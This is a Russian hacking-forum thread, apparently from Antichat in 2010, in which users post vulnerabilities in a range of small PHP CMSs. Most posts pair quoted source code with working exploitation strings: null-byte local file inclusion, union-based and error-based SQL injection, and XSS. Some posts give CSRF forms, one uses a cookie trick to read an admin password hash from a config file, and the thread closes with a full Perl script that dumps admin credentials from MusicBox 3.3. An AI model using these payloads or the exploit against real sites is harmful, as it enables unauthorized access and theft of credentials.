Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

14.04.2010, 00:35
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
321
Free CMS Webcountry
Древний релиз! - но компания не дремлет!
Используеться mod_rewrite.
В index.php есть такой код:
PHP код:
...ob_start();
$mod=$_GET["mod"];
if (!IsSet($mod)){include "./page/$main_page.php";}
else {include "./page/".$mod.".php";}
$contents=ob_get_contents();
ob_end_clean();...
PHP код:
...require("./tpl/$thema.tpl");...
Переменная $thema определяеться в подключаемом файле c запроса.
Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
В БД ничего ценного! Пусть админко запаролена .
В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.
Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
Подключаем файлик с /page,
допустим, news.php так как там парамтер id передаеться в запрос!
PHP код:
...$query = "SELECT * FROM site WHERE id='".$_GET["id"]."';";
$result = mysql_query($query);
while($r=mysql_fetch_array($result))
{
$title=$r["title_page"];
$KeyWords_page=$r["KeyWords_page"];
$Description_page=$r["Description_page"];
$txt_page=$r["txt_page"];
$thema=$r["thema"];
echo "$txt_page";}...
Имеем LFI с 6 поля:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, 6,7,8--+
Warning: require(./tpl/6.tpl) [function.require]:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, %27../readme.txt%00%27,7,8--+
Недостаток при SQL inj в том, что надо mg=off так как id в запросе
PHP код:
...id='".$_GET["id"]."';...
Так же SQL inj в /pages/index.php
PHP код:
...mysql_select_db ($db_name) or die ("Нет соединения с БД");
$query = "SELECT * FROM site WHERE id='".$_GET["id"]."';";
$result = mysql_query($query);...
up
та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...
Тоесть, при rg=on имеем LFI вот так:
http://localhost/117/index.php?mod=1&thema=../readme.txt%00
http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
http://localhost/117/index.php?mod=1&thema=../readme.txt[.]
ps /adm - админко незапаролена по умолчанию.
Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:59..
|
|
|

15.04.2010, 04:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
AntiSlaed CMS 4.1
index.php
PHP код:
...$name = (isset($_POST['name'])) ? ((isset($_POST['name'])) ? analyze($_POST['name']) : "") : ((isset($_GET['name'])) ? analyze($_GET['name']) : "");...
PHP код:
...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
$file = ($file) ? $file : "index";...
PHP код:
...include("modules/".$name."/".$file.".php");...
Теперь смотрим в модуль новости /modules/news/index.php.
PHP код:
function news(){...
$scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
...list($cat_title, $cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...
}
PHP код:
...switch($op) {
default:
news();
break;...
в ../index.php
PHP код:
...$op = (isset($_POST['op'])) ? ((isset($_POST['op'])) ? analyze($_POST['op']) : "") : ((isset($_GET['op'])) ? analyze($_GET['op']) : "");...
Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!
Ищем .:XSS:.
Поиск закончился успехом.
/modules/order/index.php
Обращаем внимание на $_POST['com']
PHP код:
function order() {
global $conf, $confor, $pagetitle, $bodytext, $stop;
$pagetitle = "".$conf['defis']." "._ORDER."";
$bodytext = $confor['text'];
if (is_user()) {
$userinfo = getusrinfo();
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
} else {
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
}
$field = fields_save($_POST['field']);
head();
title(""._ORDER."");
if ($stop) warning($stop, "", "", 1);
open();
echo bb_decode($bodytext, "all");
close();
if ($confor['an']) {
open();
echo "<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
."".fields_in($field, $conf['name']).""
."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
."".captcha_random().""
."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
close();
} else {
warning(""._OR_5."", "", "", 2);
}
foot();
}...
Функция order() вызываеться по умолчанию
PHP код:
...switch($op) {
default:
order();
break;...
Result:
- формиуем код;
- заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).
Простой пример експлуатации:
Код HTML:
<form action="http://anti/index.php?name=order">
<p><b>Каким браузером в основном пользуетесь:</b><Br>
<input type="radio" name="browser" value="ie"> Internet Explorer<Br>
<input type="radio" name="browser" value="opera"> Opera<Br>
<input type="radio" name="browser" value="firefox"> Firefox<Br>
</p>
<input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
<input type=submit value="Молодца"!">
</form>
up
В самом последнем релизе пофиксено!
Значение переменной $com и других проганяэться через:
PHP код:
# HTML and word filter
function text_filter($message, $type="") {
global $conf;
$message = is_array($message) ? fields_save($message) : $message;
if (intval($type) == 2) {
$message = htmlspecialchars(trim($message), ENT_QUOTES);
} else {
$message = strip_tags(urldecode($message));
$message = htmlspecialchars(trim($message), ENT_QUOTES);
}
if ($conf['censor'] && intval($type != 1)) {
$censor_l = explode(",", $conf['censor_l']);
foreach ($censor_l as $val) $message = preg_replace("#$val#i", $conf['censor_r'], $message);
}
return $message;
}
Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:58..
|
|
|

15.04.2010, 07:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Sing CMS
скачать
В результате применения XSRF имеем активную XSS.
Подтверждения со стороны адинистратора на сохранение данных нет!
Уязвимо $_POST['content'] с многострочного поля!
Вот куски кода:
/admin/editpage.php
PHP код:
...$checkbottom = isset($_POST['showbottom']) ? " checked" : "";
$maintpl = listtpl("main", $_POST['maintpl']);
$name = cleaninput($_POST['name']);
$keywords = cleaninput($_POST['keywords']);
$description = cleaninput($_POST['description']);
$content = stripslash($_POST['content']);
if (isset($_POST['breaks'])) {
$linebreaks = " checked";
$xx = explode("?>", $content); $prevcontent = "";
foreach($xx as $val) {...
PHP код:
...else {
dbquery("INSERT INTO ".DBPREF."pages (name, keywords, description, content, settings, created) VALUES ('$name', '$keywords', '$description', '$content', '".serialize($pageset)."', '".time()."')");
redirect($_SERVER['SCRIPT_NAME']."?id=".mysql_insert_id()."&info=added");
}...
/functions.php
PHP код:
...function stripslash($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
return $text;
}
function addslash($text) {
if (!ini_get('magic_quotes_gpc')) $text = addslashes(addslashes($text));
else $text = addslashes($text);
return $text;
}
function cleaninput($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
$search = array("\"", "'", "\\", '\"', "\'", "<", ">", " ");
$replace = array(""", "'", "\", """, "'", "<", ">", " ");
$text = str_replace($search, $replace, $text);
$text = trim($text);
return $text;...
Експлуатация:
Код HTML:
<form action="http://localhost/sing/admin/editpage.php" method="post">
<p><b>Каким браузером в основном пользуетесь</b>
<Br> <input type="radio" name="browser" value="ie"> Internet Explorer
<Br> <input type="radio" name="browser" value="opera"> Opera
<Br> <input type="radio" name="browser" value="firefox"> Firefox<Br></p>
<input type="hidden" name="maintpl" VALUE="1">
<input type="hidden" name="name" VALUE="123">
<input type="hidden" name="content" VALUE="<script>alert(123)</script>">
<input type="hidden" name="save">
<input type=submit value="Молодца"!">
</form>
Result:
id страницы, например 2.
в page.php?id=2
Код HTML:
...<div class="page"><script>alert(123)</script></div>...
Последний раз редактировалось Strilo4ka; 15.04.2010 в 08:00..
|
|
|

16.04.2010, 03:27
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
CMS.link/include/functions.php
PHP код:
....function adds(&$el,$level=0) {
if (is_array($el)){
if (get_magic_quotes_gpc()) return;
foreach($el as $k=>$v)
adds($el[$k],$level+1);
}
else{
if (!get_magic_quotes_gpc()) $el = addslashes($el);
if (!$level) return $el;
}
}
...
Через эту функцию не провести SQL inj
Улыбнул вот этот участок кода:
PHP код:
...
if($site->getCommP())$method="";
switch($method)
{
case "print":
include $config['site_dir']."include/plugins/mop/print.plg";
break;
case "send":
include $config['site_dir']."include/plugins/mop/send.plg";
break;
case "comments":
include $config['site_dir']."include/plugins/mop/comments.plg";
break;
case "vote":
include $config['site_dir']."include/plugins/mop/vote.plg";
break;
case "dir":
include $config['site_dir']."include/plugins/mop/dir.plg";
break;
default:
$file=$config['site_dir']."templates/docs/".$site->getTemplate().".tpl";
if (!file_exists($file))
error_rep("Server","No such file or directory ($file)","404");
include $file;...
XSS в include/plugins/mop/send.plg
PHP код:
...
if(!ereg(".+@.+\..+", $_POST['p_s_mail'])){
$p_s_error="{$lan[18]}<br>";
p_s_print_html($p_s_error);
}
elseif($_POST['p_s_yname']==""){
$p_s_error="{$lan[2]}<br>";
p_s_print_html($p_s_error);
}
elseif(!ereg(".+@.+\..+", $_POST['p_s_ymail'])){
$p_s_error="{$lan[1]}<br>";
p_s_print_html($p_s_error);
}
else{
mail(
$_POST['p_s_mail'],
$lan[19],
htmlspecialchars(stripslashes($p_s_mes)),
"From: {$_POST['p_s_ymail']}\n".
"Reply-To: {$_POST['p_s_yname']}\n");
echo "{$lan[17]} \"{$_POST['p_s_mail']}\".<br><br>";
}
...
/include/langyage/russian.lng
PHP код:
...$lan[17]="Публикация успешно отправлена по адресу";...
Тоесть, имеем пасивную XSS в поле E-mail друга (p_s_mail) + анонимная отправка писем.
Даные отправляються постом.
Чтоб сработала comm_permission=0 должно быть.
По умолчанию так и есть на 3-х страницах и при добавление новых также (если не изменить радиобатон).
Result:
http://cmslink/main/send
В поле E-mail друга:blabla@mail.ru<script>alert(123)</script>
Последний раз редактировалось Strilo4ka; 16.04.2010 в 03:41..
|
|
|

18.04.2010, 17:26
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме: 3300342
Репутация:
165
|
|
Magneto
Magneto <= v2.0
SQl-inj
Офф сайт:
http://www.userside.org.ua/magneto/
/magneto/main/config/admfunct.php
PHP код:
function requestdata($ps1)
{
if (isset($_REQUEST[$ps1])){$ps_requestdata=replacesymbol(trim($_REQUEST[$ps1]));} else {$ps_requestdata='';}
return $ps_requestdata;
}
/magneto/module/$module/kat.php
PHP код:
if ($ps_type=="delkat" || $ps_type=="editdopf" || $ps_type=="editdopf2" || $ps_type=="delsubkat" || $ps_type=="edit" || $ps_type=="edit2") dopverify("DO_KAT");
if ($ps_type=="editdopf") $ps_style="short";
if ($ps_type2!="") $ps_katname=getkatname($ps_type2);
PHP код:
if ($ps_type=="editdopf2"){
$ps_dopf1=requestdata('dopf1');
$ps_dopf2=requestdata('dopf2');
$ps_dopf3=requestdata('dopf3');
$ps_dopf4=requestdata('dopf4');
$ps_dopf5=requestdata('dopf5');
$rs_2=mysql_query("select * from tbl_dopf where KATCODE=".$ps_code,$conn1);
$rs=mysql_fetch_array($rs_2);
if ($rs['CODE']==''){
$ps_constr="insert into tbl_dopf (KATCODE,DOPF1,DOPF2,DOPF3,DOPF4,DOPF5) values (".$ps_code.",'".$ps_dopf1."','".$ps_dopf2."','".$ps_dopf3."','".$ps_dopf4."','".$ps_dopf5."')";
}else{
$ps_constr="update tbl_dopf set DOPF1='".$ps_dopf1."',DOPF2='".$ps_dopf2."',DOPF3='".$ps_dopf3."',DOPF4='".$ps_dopf4."',DOPF5='".$ps_dopf5."' where CODE=".$rs['CODE'];
}
mysql_free_result($rs_2);
$rs_s2=mysql_query($ps_constr,$conn1);
goback();
}
И дальше в таком же духе.
Експлуатация:
Код:
[patch]/kat.php?type=showkat&type2=-1+union+select+1,2,3,4--
|
|
|

18.04.2010, 21:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
santafox 1.1
http://www.santafox.ru/
Тестировалось на фаерфокс 3.5.9
Пасивная XSS в поле поиска.
Result:
http://sa/search.html?search=%3Cscript%3Ealert%28123%29%3C%2 Fscript%3E&x=0&y=0
Пока чихлюсь с кодом, немогу найти где этот участок кода (использ.ооп), так что сори 
ps на сайте тоже работает!
up
У нас есть активная XSS в коментах , но експлуатация сводиться к миниму, так как сначала просматривает админ. Если ступит и пометит: "Комментарий активен", то активка у двох полях.
Есть и глобальная опция Премодерация.
Blind SQL inj
Кстати, ошибка в этой функции, строка 4279, когда кавычку впихнуть при mg=off!
/modules/catalog/catalog.class.php
PHP код:
... private function get_item($id)
{
global $kernel;
$res = false;
$query = 'SELECT * FROM `'.PREFIX.'_catalog_'.$kernel->pub_module_id_get().'_items` WHERE `id` ='.$id.' LIMIT 1';
$result = $kernel->runSQL($query);
if ($row = mysql_fetch_assoc($result))
$res = $row;
mysql_free_result($result);
return $res;
}...
Короче єтот модуль уязвим , чтоб не лезть в дебри покажу просто експлуатацию слепой иньекции в числовом контексте, думаю что есть в каком то модуле и принтабельная скуль. Будет время - поковыряю.
Result:
1) http://sa/catalog.html?cid=11+and+5=@@version
ps также парамтер дырявый itemid (гет этому скрипту!)
пасс в незашыфрованом виде
Код:
id,login,pass,full_name,lang,code_page,enabled
Но префикс таблицы есть, не помню при установке по дефлоту:
у меня таблица sf_admin.
админко - /admin
У кого есть желание - присоединяйтесь 
Последний раз редактировалось Strilo4ka; 18.04.2010 в 22:51..
|
|
|

19.04.2010, 02:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Multiengine CMS 0.9.3LFI
/multiengine/multiengine.php
PHP код:
//error_reporting(0);
//header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
define("THIS_SITE", "http://".$_SERVER['HTTP_HOST']."/", true);
define("CURR_URL", "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);
require_once("$enginedir/functions.php");
// Подключаем класс кэша
require_once("$enginedir/cache.class.php");
// Фильтрация входящих данных
if(isset($_GET['mod'])){
$mod= QueryFilter($_GET['mod']);
}
if(isset($_GET['cat'])){
$cat= '/'.QueryFilter($_GET['cat']);
}
if($mod.$cat.$_GET['page']=='robots.txt'){
header('Content-Type: text/plain');
if(!@readfile('robots.txt')){
print "User-Agent: *\r\nDisallow:";
}
exit;
}
if(isset($_GET['page'])){
if($_GET['page']=='index'.$url_ext){
$to= 'index.php?';
if(isset($mod)){
$to.= "mod=$mod";
if(isset($_GET['cat'])){
$to.= "&cat=".$_GET['cat'];
}
}
elseif(isset($_GET['cat'])){
$to.= "cat=".$_GET['cat'];
}
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.UrlRewrite(THIS_SITE.$to));
exit;
}
elseif(strstr($_GET['page'], $url_ext)){
$page= "/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"', '$1', $_GET['page']));
}
else{
Error404();
}
}
else{
$page= "/index";
}
// Подключение модулей
if(isset($mod)){
if(is_file("$enginedir/mods/$mod/mod.php")){
require_once("$enginedir/mods/$mod/mod.php");
}
else{
$cat= "/$mod$cat";
if(is_file("$d_base/pages$cat$page.$db_ext")){
require_once("$enginedir/pages.php");
}
else{
Error404();
}
}
}
else{
require_once("$enginedir/pages.php");
}...
target: index.php
например, в куки тулим:
; mod=../../readme.txt%00
Запрос:
Host=multiengine_cms
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru,en-us;q=0.7,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Connection=keep-alive
Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565 f5a9aa318645a642382fc9; mod=../../readme.txt%00
Cache-Control=max-age=0
Ответ:
Status=OK - 200
Date=Sun, 18 Apr 2010 22:14:24 GMT
Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By=PHP/5.2.4
Content-Length=2776
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=windows-1251
Читалка
(достаем логин и пасс админа)
посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00
target: index.php
/multiengine/pages
PHP код:
...
if(is_file("$d_base/pages$cat$page.$db_ext")){
$fpage= file("$d_base/pages$cat$page.$db_ext");
$pagetitle= array_shift($fpage);
$content= implode("\r\n", $fpage);...
Поубирал с кода переводы и пробелы чтоб было видно!
Код HTML:
<?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
$admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
?></td>
админко - /admin
Условие:
register_globals = On Jokester:
я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ? Я написал target - index.php чтоб реализовать то, что написано выше!
RFI не получиться , есть причины:
1) если target - multiengine/multiengine.php, то есть .htaccess
2) если target - index.php
index.php
PHP код:
$enginedir= 'multiengine';
require_once("$enginedir/config.php");
$delimiter= '/';
$sitename= 'Имя сайта краткое';
$title= 'Заголовок сайта';
$description= 'Описание сайта';
require_once("$enginedir/multiengine.php");
ps
mg=off, так как замена нулевого байта в is_file() не сработает.
Извинения за то, что код не полностю выложыл!
Последний раз редактировалось Strilo4ka; 20.04.2010 в 02:58..
|
|
|

19.04.2010, 19:36
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме: 4075418
Репутация:
386
|
|
Продукт: Maian Weblog v4.0
Требования: mq = off
SQLi в /index.php
PHP код:
....
// Get blog data..
$q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '$b_post'
LIMIT 1
") or die(mysql_error());
...
эксплуатация:
Код:
/index.php?cmd=blog&post=3'+and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
SQLi в admin/data_files/favourites.php
PHP код:
// Only load data if in edit mode..
if (isset($_GET['edit']))
{
$EDIT = mysql_fetch_object(mysql_query("SELECT * FROM ".$database['prefix']."favourites
WHERE id = '".$_GET['edit']."'
LIMIT 1
")) or die(mysql_error());
}
эксплуатация:
Код:
admin/index.php?cmd=favourites&edit=-1'+union+select+1,2,version()--+
SQLi в admin/data_files/edit.php
PHP код:
$q_edit = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '".$_GET['id']."'
LIMIT 1
") or die(mysql_error());
$EDIT = mysql_fetch_object($q_edit);
эксплуатация:
Код:
admin/index.php?cmd=edit&id=-3'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+
Также еще работает одни из xss найденная здесь http://seclists.org/bugtraq/2008/May/30
Код:
admin/index.php?cmd=search&search=1&area=blogs&keywords="><script>alert(/xss/)</script>
PS там как минимум есть еще скуля в update и delete.
|
|
|

20.04.2010, 06:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
ignition 1.2
XSS
/template.php
PHP код:
...if ($twitter) {
echo('<strong><a href="http://twitter.com/'.$twitter.'">What\'s going on?</a></strong><br />');
include ('stuff/twitter.php');
echo('<br /><br />'); }
if ($identica) {
echo('<strong><a href="http://identi.ca/'.$identica.'">What\'s going on?</a></strong><br />');
include ('stuff/identica.php');
echo('<br /><br />'); }
if ($book) echo ('<strong>Currently reading:</strong><br />'.$book.'<br /><br />');
if ($game) echo ('<strong>Currently playing:</strong><br />'.$game);
echo('</div>..."
Переменные нигде не определяються!
Результат:
http://localhost/ignition_1.2/index/main.php?book=1%3Cscript%3Ealert%28123%29%3C/script%3E
Условие:
rg=on
LFI
view.php
PHP код:
...session_start();
require ('settings.php');
$blog = $_GET['blog'];
if (file_exists('posts/'.$_GET['blog'].'.txt')) {
include ('posts/'.$_GET['blog'].'.txt');
}else{
die(require('404.php')); }
iheader($title);...
Результат:
http://localhost/ignition_1.2/view.php?blog=../../favicon.ico%00
Условие:
mg=off
Аналогично
comment.php
PHP код:
...<?php
session_start();
require ('settings.php');
include ('posts/'.$_GET['blog'].'.txt');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"...
Тут mg всеравно!
Результат:
http://localhost/ignition_1.2/comment.php?blog=../../favicon.ico%00
Или замену нул-байта.
На PHP Version 5.3.1 надо mg=off
Последний раз редактировалось Strilo4ka; 20.04.2010 в 12:41..
|
|
|

20.04.2010, 12:26
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
К посту #33
PHP код:
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# MusicBox v 3.3 SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "##############################################################\n";
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
print "\n userlevel 9 = SuperAdmin ";
print "\n pass = md5($pass)";
if (@ARGV < 2)
{
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,username,0x3a,password,0x3a,email,0x3a,userlevel,0x3a3a3a),4,5,6,7+from+users+";
$doc = get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
print "\n[+] Admin email: $4";
print "\n[+] Admin userlevel: $5";
}else{
print "\n My name is Fail, Epic Fail... \n"
}
pastebin.com
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|